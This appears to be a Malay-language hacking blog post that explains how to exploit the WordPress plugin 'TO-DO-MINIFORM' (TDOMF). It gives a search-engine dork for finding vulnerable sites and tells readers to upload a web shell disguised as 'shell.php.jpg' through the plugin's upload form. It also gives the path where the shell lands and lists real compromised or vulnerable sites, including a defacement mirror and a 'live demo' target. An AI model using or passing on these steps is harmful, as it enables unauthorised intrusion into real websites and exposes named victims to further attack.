EXPLOIT WP PLUGIN "TO-DO-MINIFORM"

Salam semua ku nak share sikit method ku jumpa tadi x tau la method nie dah lama orang guna ke :p

ok jom mula :D


[ dork ]

inurl:tdomf-upload-inline.php?tdomf_form_id= intext:Upload


kembang2 kan lah dork ye!

ok jadi cari website dengan dork 2 korang akan jumpa form macam nie

ok dah jumpa korang upload shell bentuk shell.php.jpg

shell korang akan kuar dekat sini

site.com/wp-content/uploads/tdomf/tmp/1/ip address korang/shell.php.jpg

korang leh check ip address korang kt http://whatismyip.com

ok ni contoh site yg aku dapat

http://warszawiacy.info.pl/
http://zone-h.org/mirror/id/19744230

korang leh cuba sendri

Live demo

http://solpowerhawaii.com/main/wp-content/plugins/0.13.9/tdomf-upload-inline.php?tdomf_form_id=1&index=

Related Post